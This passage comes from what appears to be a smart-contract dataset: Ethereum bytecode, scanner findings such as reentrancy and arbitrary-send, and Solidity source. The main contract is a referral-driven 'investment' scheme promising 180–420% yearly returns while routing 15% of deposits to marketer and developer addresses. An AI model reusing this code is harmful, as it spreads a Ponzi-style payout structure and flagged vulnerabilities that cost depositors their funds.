fffff16565b905080838395509550955050505093509350939050565b600080600080612503858961257390919063ffffffff16565b9050600061251a868961257390919063ffffffff16565b90506000612531878961257390919063ffffffff16565b9050600061255a8261254c85876122b590919063ffffffff16565b6122b590919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561258657600090506125e8565b600082846125949190612faf565b90508284826125a39190612f7e565b146125e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125da90612d12565b60405180910390fd5b809150505b92915050565b60006126016125fc84612ea7565b612e82565b9050808382526020820190508285602086028201111561262057600080fd5b60005b858110156126505781612636888261265a565b845260208401935060208301925050600181019050612623565b5050509392505050565b600081359050612669816134bc565b92915050565b60008151905061267e816134bc565b92915050565b600082601f83011261269557600080fd5b81356126a58482602086016125ee565b91505092915050565b6000813590506126bd816134d3565b92915050565b6000815190506126d2816134d3565b92915050565b6000813590506126e7816134ea565b92915050565b6000815190506126fc816134ea565b92915050565b60006020828403121561271457600080fd5b60006127228482850161265a565b91505092915050565b60006020828403121561273d57600080fd5b600061274b8482850161266f565b91505092915050565b6000806040838503121561276757600080fd5b60006127758582860161265a565b92505060206127868582860161265a565b9150509250929050565b6000806000606084860312156127a557600080fd5b60006127b38682870161265a565b93505060206127c48682870161265a565b92505060406127d5868287016126d8565b9150509250925092565b600080604083850312156127f257600080fd5b60006128008582860161265a565b9250506020612811858286016126d8565b9150509250929050565b60006020828403121561282d57600080fd5b600082013567ffffffffffffffff81111561284757600080fd5b61285384828501612684565b91505092915050565b60006020828403121561286e57600080fd5b600061287c848285016126ae565b91505092915050565b60006020828403121561289757600080fd5b60006128a5848285016126c3565b91505092915050565b6000806000606084860312156128c357600080fd5b60006128d1868287016126ed565b93505060206128e2868287016126ed565b92505060406128f3868287016126ed565b9150509250925092565b60006129098383612915565b60208301905092915050565b61291e8161303d565b82525050565b61292d8161303d565b82525050565b600061293e82612ee3565b6129488185612f06565b935061295383612ed3565b8060005b8381101561298457815161296b88826128fd565b975061297683612ef9565b925050600181019050612957565b5085935050505092915050565b61299a8161304f565b82525050565b6129a981613092565b82525050565b60006129ba82612eee565b6129c48185612f17565b93506129d48185602086016130a4565b6129dd816131de565b840191505092915050565b60006129f5602383612f17565b9150612a00826131ef565b604082019050919050565b6000612a18602a83612f17565b9150612a238261323e565b604082019050919050565b6000612a3b602283612f17565b9150612a468261328d565b604082019050919050565b6000612a5e601b83612f17565b9150612a69826132dc565b602082019050919050565b6000612a81602183612f17565b9150612a8c82613305565b604082019050919050565b6000612aa4602083612f17565b9150612aaf82613354565b602082019050919050565b6000612ac7602983612f17565b9150612ad28261337d565b604082019050919050565b6000612aea602583612f17565b9150612af5826133cc565b604082019050919050565b6000612b0d602483612f17565b9150612b188261341b565b604082019050919050565b6000612b30601783612f17565b9150612b3b8261346a565b602082019050919050565b6000612b53601183612f17565b9150612b5e82613493565b602082019050919050565b612b728161307b565b82525050565b612b8181613085565b82525050565b6000602082019050612b9c6000830184612924565b92915050565b6000604082019050612bb76000830185612924565b612bc46020830184612924565b9392505050565b6000604082019050612be06000830185612924565b612bed6020830184612b69565b9392505050565b600060c082019050612c096000830189612924565b612c166020830188612b69565b612c2360408301876129a0565b612c3060608301866129a0565b612c3d6080830185612924565b612c4a60a0830184612b69565b979650505050505050565b6000602082019050612c6a6000830184612991565b92915050565b60006020820190508181036000830152612c8a81846129af565b905092915050565b60006020820190508181036000830152612cab816129e8565b9050919050565b60006020820190508181036000830152612ccb81612a0b565b9050919050565b60006020820190508181036000830152612ceb81612a2e565b9050919050565b60006020820190508181036000830152612d0b81612a51565b9050919050565b60006020820190508181036000830152612d2b81612a74565b9050919050565b60006020820190508181036000830152612d4b81612a97565b9050919050565b60006020820190508181036000830152612d6b81612aba565b9050919050565b60006020820190508181036000830152612d8b81612add565b9050919050565b60006020820190508181036000830152612dab81612b00565b9050919050565b60006020820190508181036000830152612dcb81612b23565b9050919050565b60006020820190508181036000830152612deb81612b46565b9050919050565b6000602082019050612e076000830184612b69565b92915050565b600060a082019050612e226000830188612b69565b612e2f60208301876129a0565b8181036040830152612e418186612933565b9050612e506060830185612924565b612e5d6080830184612b69565b9695505050505050565b6000602082019050612e7c6000830184612b78565b92915050565b6000612e8c612e9d565b9050612e9882826130d7565b919050565b6000604051905090565b600067ffffffffffffffff821115612ec257612ec16131af565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f338261307b565b9150612f3e8361307b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f7357612f72613151565b5b828201905092915050565b6000612f898261307b565b9150612f948361307b565b925082612fa457612fa3613180565b5b828204905092915050565b6000612fba8261307b565b9150612fc58361307b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ffe57612ffd613151565b5b828202905092915050565b60006130148261307b565b915061301f8361307b565b92508282101561303257613031613151565b5b828203905092915050565b60006130488261305b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061309d8261307b565b9050919050565b60005b838110156130c25780820151818401526020810190506130a7565b838111156130d1576000848401525b50505050565b6130e0826131de565b810181811067ffffffffffffffff821117156130ff576130fe6131af565b5b80604052505050565b60006131138261307b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561314657613145613151565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6134c58161303d565b81146134d057600080fd5b50565b6134dc8161304f565b81146134e757600080fd5b50565b6134f38161307b565b81146134fe57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c2b08cbe958418df32dc06bcd9ed61ef11fc4ae0a6fd662f8bd599827f4b33864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,025 |
0x99221ad4b9da43016569cf8cb17df5cf04fe4155
|
pragma solidity ^0.4.24;
/*
/$$$$$$ /$$ /$$$$$$ /$$ /$$
/$$__ $$ | $$ |_ $$_/ | $$ | $$
| $$ \__/ /$$$$$$/$$$$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ /$$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$/$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$
| $$$$$$ | $$_ $$_ $$ |____ $$ /$$__ $$|_ $$_/ | $$ | $$__ $$| $$ /$$//$$__ $$ /$$_____/|_ $$_/ | $$_ $$_ $$ /$$__ $$| $$__ $$|_ $$_/ /$$_____/
\____ $$| $$ \ $$ \ $$ /$$$$$$$| $$ \__/ | $$ | $$ | $$ \ $$ \ $$/$$/| $$$$$$$$| $$$$$$ | $$ | $$ \ $$ \ $$| $$$$$$$$| $$ \ $$ | $$ | $$$$$$
/$$ \ $$| $$ | $$ | $$ /$$__ $$| $$ | $$ /$$ | $$ | $$ | $$ \ $$$/ | $$_____/ \____ $$ | $$ /$$| $$ | $$ | $$| $$_____/| $$ | $$ | $$ /$$\____ $$
| $$$$$$/| $$ | $$ | $$| $$$$$$$| $$ | $$$$/ /$$$$$$| $$ | $$ \ $/ | $$$$$$$ /$$$$$$$/ | $$$$/| $$ | $$ | $$| $$$$$$$| $$ | $$ | $$$$//$$$$$$$/
\______/ |__/ |__/ |__/ \_______/|__/ \___/ |______/|__/ |__/ \_/ \_______/|_______/ \___/ |__/ |__/ |__/ \_______/|__/ |__/ \___/ |_______/
*/
contract Ownable {
address public owner;
address public marketers = 0xccdbFb142F4444D31dd52F719CA78b6AD3459F90;
uint256 public constant marketersPercent = 14;
address public developers = 0x7E2EdCD2D7073286caeC46111dbE205A3523Eec5;
uint256 public constant developersPercent = 1;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event DevelopersChanged(address indexed previousDevelopers, address indexed newDevelopers);
event MarketersChanged(address indexed previousMarketers, address indexed newMarketers);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyThisOwner(address _owner) {
require(owner == _owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setDevelopers(address newDevelopers) public onlyOwner {
require(newDevelopers != address(0));
emit DevelopersChanged(developers, newDevelopers);
developers = newDevelopers;
}
function setMarketers(address newMarketers) public onlyOwner {
require(newMarketers != address(0));
emit MarketersChanged(marketers, newMarketers);
marketers = newMarketers;
}
}
contract Investments {
struct InvestProgram {
uint256 minSum; // min sum for program
uint256 income; // income for one year
}
struct ReferralGroup {
uint256 minSum;
uint256 maxSum;
uint16[] percents;
}
uint256 public constant minSumRef = 0.01 ether;
uint256 public constant refLevelsTables = 3;
uint256 public constant refLevelsCount = 5;
ReferralGroup[] public refGroups;
uint256 public constant programsCount = 21;
InvestProgram[] public programs;
constructor() public {
ReferralGroup memory refGroupFirsty = ReferralGroup(minSumRef, 10 ether - 1 wei, new uint16[](refLevelsCount));
refGroupFirsty.percents[0] = 300; // 3%
refGroupFirsty.percents[1] = 75; // 0.75%
refGroupFirsty.percents[2] = 60; // 0.6%
refGroupFirsty.percents[3] = 40; // 0.4%
refGroupFirsty.percents[4] = 25; // 0.25%
refGroups.push(refGroupFirsty);
ReferralGroup memory refGroupLoyalty = ReferralGroup(10 ether, 100 ether - 1 wei, new uint16[](refLevelsCount));
refGroupLoyalty.percents[0] = 500; // 5%
refGroupLoyalty.percents[1] = 200; // 2%
refGroupLoyalty.percents[2] = 150; // 1.5%
refGroupLoyalty.percents[3] = 100; // 1%
refGroupLoyalty.percents[4] = 50; // 0.5%
refGroups.push(refGroupLoyalty);
ReferralGroup memory refGroupUltraPremium = ReferralGroup(100 ether, 2**256 - 1, new uint16[](refLevelsCount));
refGroupUltraPremium.percents[0] = 700; // 7%
refGroupUltraPremium.percents[1] = 300; // 3%
refGroupUltraPremium.percents[2] = 250; // 2.5%
refGroupUltraPremium.percents[3] = 150; // 1.5%
refGroupUltraPremium.percents[4] = 100; // 1%
refGroups.push(refGroupUltraPremium);
programs.push(InvestProgram(0.01 ether, 180)); // 180%
programs.push(InvestProgram(0.26 ether, 192)); // 192%
programs.push(InvestProgram(0.76 ether, 204)); // 204%
programs.push(InvestProgram(1.51 ether, 216)); // 216%
programs.push(InvestProgram(2.51 ether, 228)); // 228%
programs.push(InvestProgram(4.51 ether, 240)); // 240%
programs.push(InvestProgram(7.01 ether, 252)); // 252%
programs.push(InvestProgram(10.01 ether, 264)); // 264%
programs.push(InvestProgram(14.01 ether, 276)); // 276%
programs.push(InvestProgram(18.01 ether, 288)); // 288%
programs.push(InvestProgram(23.01 ether, 300)); // 300%
programs.push(InvestProgram(28.01 ether, 312)); // 312%
programs.push(InvestProgram(34.01 ether, 324)); // 324%
programs.push(InvestProgram(41.01 ether, 336)); // 336%
programs.push(InvestProgram(50 ether, 348)); // 348%
programs.push(InvestProgram(60 ether, 360)); // 360%
programs.push(InvestProgram(75 ether, 372)); // 372%
programs.push(InvestProgram(95 ether, 384)); // 384%
programs.push(InvestProgram(120 ether, 396)); // 396%
programs.push(InvestProgram(150 ether, 408)); // 408%
programs.push(InvestProgram(200 ether, 420)); // 420%
}
function getRefPercents(uint256 _sum) public view returns(uint16[] memory) {
for (uint i = 0; i < refLevelsTables; i++) {
ReferralGroup memory group = refGroups[i];
if (_sum >= group.minSum && _sum <= group.maxSum) return group.percents;
}
}
function getRefPercentsByIndex(uint256 _index) public view returns(uint16[] memory) {
return refGroups[_index].percents;
}
function getProgramInfo(uint256 _index) public view returns(uint256, uint256) {
return (programs[_index].minSum, programs[_index].income);
}
function getProgramPercent(uint256 _totalSum) public view returns(uint256) {
bool exist = false;
uint256 i = 0;
for (; i < programsCount; i++) {
if (_totalSum >= programs[i].minSum) exist = true;
else break;
}
if (exist) return programs[i - 1].income;
return 0;
}
}
contract SmartInvestments is Ownable, Investments {
event InvestorRegister(address _addr, uint256 _id);
event ReferralRegister(address _addr, address _refferal);
event Deposit(address _addr, uint256 _value);
event ReferrerDistribute(uint256 _referrerId, uint256 _sum);
event Withdraw(address _addr, uint256 _sum);
struct Investor {
// public
uint256 lastWithdraw;
uint256 totalSum; // total deposits sum
uint256 totalWithdraw;
uint256 totalReferralIncome;
uint256[] referrersByLevel; // referrers ids
mapping (uint8 => uint256[]) referralsByLevel; // all referrals ids
// private
uint256 witharawBuffer;
}
uint256 public globalDeposit;
uint256 public globalWithdraw;
Investor[] public investors;
mapping (address => uint256) addressToInvestorId;
mapping (uint256 => address) investorIdToAddress;
modifier onlyForExisting() {
require(addressToInvestorId[msg.sender] != 0);
_;
}
constructor() public payable {
globalDeposit = 0;
globalWithdraw = 0;
investors.push(Investor(0, 0, 0, 0, new uint256[](refLevelsCount), 0));
}
function() external payable {
if (msg.value > 0) {
deposit(0);
} else {
withdraw();
}
}
function getInvestorInfo(uint256 _id) public view returns(uint256, uint256, uint256, uint256, uint256[] memory, uint256[] memory) {
Investor memory investor = investors[_id];
return (investor.lastWithdraw, investor.totalSum, investor.totalWithdraw, investor.totalReferralIncome, investor.referrersByLevel, investors[_id].referralsByLevel[uint8(0)]);
}
function getInvestorId(address _address) public view returns(uint256) {
return addressToInvestorId[_address];
}
function getInvestorAddress(uint256 _id) public view returns(address) {
return investorIdToAddress[_id];
}
function investorsCount() public view returns(uint256) {
return investors.length;
}
/// @notice update referrersByLevel and referralsByLevel of new investor
/// @param _newInvestorId the ID of the new investor
/// @param _refId the ID of the investor who gets the affiliate fee
function _updateReferrals(uint256 _newInvestorId, uint256 _refId) private {
if (_newInvestorId == _refId) return;
investors[_newInvestorId].referrersByLevel[0] = _refId;
for (uint i = 1; i < refLevelsCount; i++) {
uint256 refId = investors[_refId].referrersByLevel[i - 1];
investors[_newInvestorId].referrersByLevel[i] = refId;
investors[refId].referralsByLevel[uint8(i)].push(_newInvestorId);
}
investors[_refId].referralsByLevel[0].push(_newInvestorId);
emit ReferralRegister(investorIdToAddress[_newInvestorId], investorIdToAddress[_refId]);
}
/// @notice distribute value of tx to referrers of investor
/// @param _investor the investor object who gets the affiliate fee
/// @param _sum value of ethereum for distribute to referrers of investor
function _distributeReferrers(Investor memory _investor, uint256 _sum) private {
uint256[] memory referrers = _investor.referrersByLevel;
for (uint i = 0; i < refLevelsCount; i++) {
uint256 referrerId = referrers[i];
if (referrers[i] == 0) break;
// if (investors[referrerId].totalSum < minSumReferral) continue;
uint16[] memory percents = getRefPercents(investors[referrerId].totalSum);
uint256 value = _sum * percents[i] / 10000;
if (investorIdToAddress[referrerId] != 0x0) {
investorIdToAddress[referrerId].transfer(value);
investors[referrerId].totalReferralIncome = investors[referrerId].totalReferralIncome + value;
globalWithdraw = globalWithdraw + value;
}
}
}
function _distribute(Investor storage _investor, uint256 _sum) private {
_distributeReferrers(_investor, _sum);
developers.transfer(_sum * developersPercent / 100);
marketers.transfer(_sum * marketersPercent / 100);
}
function _registerIfNeeded(uint256 _refId) private returns(uint256) {
if (addressToInvestorId[msg.sender] != 0) return 0;
uint256 id = investors.push(Investor(now, 0, 0, 0, new uint256[](refLevelsCount), 0)) - 1;
addressToInvestorId[msg.sender] = id;
investorIdToAddress[id] = msg.sender;
if (_refId != 0)
_updateReferrals(id, _refId);
emit InvestorRegister(msg.sender, id);
}
function deposit(uint256 _refId) public payable returns(uint256) {
if (addressToInvestorId[msg.sender] == 0)
_registerIfNeeded(_refId);
Investor storage investor = investors[addressToInvestorId[msg.sender]];
uint256 amount = withdrawAmount();
investor.lastWithdraw = now;
investor.witharawBuffer = amount;
investor.totalSum = investor.totalSum + msg.value;
globalDeposit = globalDeposit + msg.value;
_distribute(investor, msg.value);
emit Deposit(msg.sender, msg.value);
return investor.totalSum;
}
function withdrawAmount() public view returns(uint256) {
Investor memory investor = investors[addressToInvestorId[msg.sender]];
return investor.totalSum * getProgramPercent(investor.totalSum) / 8760 * ((now - investor.lastWithdraw) / 3600) / 100 + investor.witharawBuffer;
}
function withdraw() public onlyForExisting returns(uint256) {
uint256 amount = withdrawAmount();
require(amount > 0);
require(amount < address(this).balance);
Investor storage investor = investors[addressToInvestorId[msg.sender]];
investor.totalWithdraw = investor.totalWithdraw + amount;
investor.lastWithdraw = now;
investor.witharawBuffer = 0;
globalWithdraw = globalWithdraw + amount;
msg.sender.transfer(amount);
emit Withdraw(msg.sender, amount);
}
}
|
0x6080604052600436106101695763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630185f409811461018e5780630f3fc087146101c257806312920c7e146101e9578063169b15dd146101fe5780631726d2c5146102135780632b7110511461027b5780632bc31ca41461029057806339347d52146102a55780633a033915146102c65780633ccfd60b146102db5780633feb5f2b146102f057806341c969641461033357806342583c02146104005780634b5a726d146104155780635106edeb14610446578063534844a2146104675780635e047d581461047c57806382f470aa146104945780638ab476bf146104a95780638da5cb5b146104ca57806392db2816146104df57806396a2ddfa146104f7578063a1b778351461050c578063b32142a014610524578063b547e8441461053c578063b6b55f2514610551578063c04324b51461055c578063f2fde38b14610571575b60003411156101825761017c6000610592565b5061018c565b61018a610664565b505b005b34801561019a57600080fd5b506101a6600435610760565b60408051600160a060020a039092168252519081900360200190f35b3480156101ce57600080fd5b506101d761077b565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101d7610780565b34801561020a57600080fd5b506101d7610786565b34801561021f57600080fd5b5061022b600435610791565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561026757818101518382015260200161024f565b505050509050019250505060405180910390f35b34801561028757600080fd5b506101d761089d565b34801561029c57600080fd5b506101a66108a4565b3480156102b157600080fd5b5061018c600160a060020a03600435166108b3565b3480156102d257600080fd5b506101d7610948565b3480156102e757600080fd5b506101d7610664565b3480156102fc57600080fd5b5061030860043561094d565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b34801561033f57600080fd5b5061034b60043561098c565b604051808781526020018681526020018581526020018481526020018060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156103a757818101518382015260200161038f565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156103e65781810151838201526020016103ce565b505050509050019850505050505050505060405180910390f35b34801561040c57600080fd5b506101a6610afd565b34801561042157600080fd5b5061042d600435610b0c565b6040805192835260208301919091528051918290030190f35b34801561045257600080fd5b506101d7600160a060020a0360043516610b5a565b34801561047357600080fd5b506101d7610b75565b34801561048857600080fd5b5061042d600435610c92565b3480156104a057600080fd5b506101d7610cbe565b3480156104b557600080fd5b5061018c600160a060020a0360043516610cc3565b3480156104d657600080fd5b506101a6610d58565b3480156104eb57600080fd5b5061042d600435610d67565b34801561050357600080fd5b506101d7610d93565b34801561051857600080fd5b5061022b600435610d98565b34801561053057600080fd5b506101d7600435610e38565b34801561054857600080fd5b506101d7610ebc565b6101d7600435610592565b34801561056857600080fd5b506101d7610ec1565b34801561057d57600080fd5b5061018c600160a060020a0360043516610ec7565b336000908152600860205260408120548190819015156105b7576105b584610f5b565b505b336000908152600860205260409020546007805490919081106105d657fe5b906000526020600020906007020191506105ee610b75565b4283556006830181905560018301805434908101909155600580548201905590915061061b9083906110d9565b6040805133815234602082015281517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c929181900390910190a1816001015492505b5050919050565b3360009081526008602052604081205481908190151561068357600080fd5b61068b610b75565b91506000821161069a57600080fd5b303182106106a757600080fd5b336000908152600860205260409020546007805490919081106106c657fe5b60009182526020822060026007909202019081018054850190554281556006808201839055805485019055604051909250339184156108fc02918591818181858888f1935050505015801561071f573d6000803e3d6000fd5b50604080513381526020810184905281517f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929181900390910190a1505090565b600090815260096020526040902054600160a060020a031690565b600e81565b60055481565b662386f26fc1000081565b6060600061079d611527565b600091505b600382101561065d5760038054839081106107b957fe5b90600052602060002090600302016060604051908101604052908160008201548152602001600182015481526020016002820180548060200260200160405190810160405280929190818152602001828054801561085e57602002820191906000526020600020906000905b82829054906101000a900461ffff1661ffff16815260200190600201906020826001010492830192600103820291508084116108255790505b505050505081525050905080600001518410158015610881575080602001518411155b15610892578060400151925061065d565b6001909101906107a2565b6007545b90565b600254600160a060020a031681565b600054600160a060020a031633146108ca57600080fd5b600160a060020a03811615156108df57600080fd5b600154604051600160a060020a038084169216907f5650bc3484c51d95070941164495fa61356f571133f65393510e90fa461118fc90600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600181565b600780548290811061095b57fe5b6000918252602090912060079091020180546001820154600283015460038401546006909401549294509092909185565b60008060008060608061099d611549565b60078054899081106109ab57fe5b906000526020600020906007020160c060405190810160405290816000820154815260200160018201548152602001600282015481526020016003820154815260200160048201805480602002602001604051908101604052809291908181526020018280548015610a3c57602002820191906000526020600020905b815481526020019060010190808311610a28575b5050505050815260200160068201548152505090508060000151816020015182604001518360600151846080015160078d815481101515610a7957fe5b6000918252602080832083805260056007909302019190910181526040918290208054835181840281018401909452808452909291839190830182828015610ae057602002820191906000526020600020905b815481526020019060010190808311610acc575b505050505090509650965096509650965096505091939550919395565b600154600160a060020a031681565b600080600483815481101515610b1e57fe5b906000526020600020906002020160000154600484815481101515610b3f57fe5b90600052602060002090600202016001015491509150915091565b600160a060020a031660009081526008602052604090205490565b6000610b7f611549565b33600090815260086020526040902054600780549091908110610b9e57fe5b906000526020600020906007020160c060405190810160405290816000820154815260200160018201548152602001600282015481526020016003820154815260200160048201805480602002602001604051908101604052809291908181526020018280548015610c2f57602002820191906000526020600020905b815481526020019060010190808311610c1b575b5050505050815260200160068201548152505090508060a001516064610e1083600001514203811515610c5e57fe5b04612238610c6f8560200151610e38565b856020015102811515610c7e57fe5b0402811515610c8957fe5b040191505b5090565b6003805482908110610ca057fe5b60009182526020909120600390910201805460019091015490915082565b600381565b600054600160a060020a03163314610cda57600080fd5b600160a060020a0381161515610cef57600080fd5b600254604051600160a060020a038084169216907f7d28dbfe9b3b0a2416f60ca7bc6f6cd19d476b00cec731d9c37ac02a09613d7390600090a36002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a031681565b6004805482908110610d7557fe5b60009182526020909120600290910201805460019091015490915082565b601581565b6060600382815481101515610da957fe5b9060005260206000209060030201600201805480602002602001604051908101604052809291908181526020018280548015610e2c57602002820191906000526020600020906000905b82829054906101000a900461ffff1661ffff1681526020019060020190602082600101049283019260010382029150808411610df35790505b50505050509050919050565b600080805b6015811015610e81576004805482908110610e5457fe5b60009182526020909120600290910201548410610e745760019150610e79565b610e81565b600101610e3d565b8115610eb257600480546000198301908110610e9957fe5b906000526020600020906002020160010154925061065d565b5060009392505050565b600581565b60065481565b600054600160a060020a03163314610ede57600080fd5b600160a060020a0381161515610ef357600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b33600090815260086020526040812054819015610f7b57600091506110d3565b6001600760c0604051908101604052804281526020016000815260200160008152602001600081526020016005604051908082528060200260200182016040528015610fd1578160200160208202803883390190505b50815260006020918201819052835460018181018087559583529183902084516007909202019081558383015191810191909155604083015160028201556060830151600382015560808301518051919261103492600485019290910190611580565b5060a0919091015160069091015533600081815260086020908152604080832095909403948590558482526009905291909120805473ffffffffffffffffffffffffffffffffffffffff19169091179055905082156110975761109781846111fa565b604080513381526020810183905281517fae113c9cbae6738145294475bea985e0336ca46961a9cfd432acb8a6d80762bb929181900390910190a15b50919050565b6111798260c06040519081016040529081600082015481526020016001820154815260200160028201548152602001600382015481526020016004820180548060200260200160405190810160405280929190818152602001828054801561116057602002820191906000526020600020905b81548152602001906001019080831161114c575b50505050508152602001600682015481525050826113b4565b600254604051600160a060020a03909116906064830480156108fc02916000818181858888f193505050501580156111b5573d6000803e3d6000fd5b50600154604051600160a060020a03909116906064600e84020480156108fc02916000818181858888f193505050501580156111f5573d6000803e3d6000fd5b505050565b6000808284141561120a576113ae565b8260078581548110151561121a57fe5b9060005260206000209060070201600401600081548110151561123957fe5b600091825260209091200155600191505b600582101561131657600780548490811061126157fe5b90600052602060002090600702016004016001830381548110151561128257fe5b906000526020600020015490508060078581548110151561129f57fe5b9060005260206000209060070201600401838154811015156112bd57fe5b60009182526020909120015560078054829081106112d757fe5b6000918252602080832060ff8616845260056007909302019190910181526040822080546001818101835591845291909220018590559091019061124a565b600780548490811061132457fe5b6000918252602080832083805260056007909302019190910181526040808320805460018101825590845282842001879055868352600982528083205486845292819020548151600160a060020a03948516815293169183019190915280517f6fe19d2f49909131887f63f825d099fe66f8d640410b5f604c9a7958d04846b69281900390910190a15b50505050565b60808201516000806060815b600584101561151e5784848151811015156113d757fe5b90602001906020020151925084848151811015156113f157fe5b90602001906020020151600014156114085761151e565b61143160078481548110151561141a57fe5b906000526020600020906007020160010154610791565b9150612710828581518110151561144457fe5b9060200190602002015161ffff16870281151561145d57fe5b6000858152600960205260409020549190049150600160a060020a03161561151357600083815260096020526040808220549051600160a060020a039091169183156108fc02918491818181858888f193505050501580156114c3573d6000803e3d6000fd5b50806007848154811015156114d457fe5b906000526020600020906007020160030154016007848154811015156114f657fe5b600091825260209091206003600790920201015560068054820190555b6001909301926113c0565b50505050505050565b6060604051908101604052806000815260200160008152602001606081525090565b60c0604051908101604052806000815260200160008152602001600081526020016000815260200160608152602001600081525090565b8280548282559060005260206000209081019282156115bb579160200282015b828111156115bb5782518255916020019190600101906115a0565b50610c8e926108a19250905b80821115610c8e57600081556001016115c75600a165627a7a72305820ed7dd62cd547e5d9f40c02252d8b2d18dee2473f1aee1469672a703e7f1978880029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,026 |
0xc6be00f7ed386015a3c751d38c126c62f231138d
|
/*
*
* Universal Mobile Token smart contract
* Developed by Phenom.team <info@phenom.team>
*
*/
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract UniversalMobileToken is Ownable {
using SafeMath for uint;
/*
Standard ERC20 token
*/
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
// Name of token
string public name;
// Short symbol for token
string public symbol;
// Nubmer of decimal places
uint public decimals;
// Token's total supply
uint public totalSupply;
// Is minting active
bool public mintingIsFinished;
// Is transfer possible
bool public transferIsPossible;
modifier onlyEmitter() {
require(emitters[msg.sender] == true);
_;
}
mapping (address => uint) public balances;
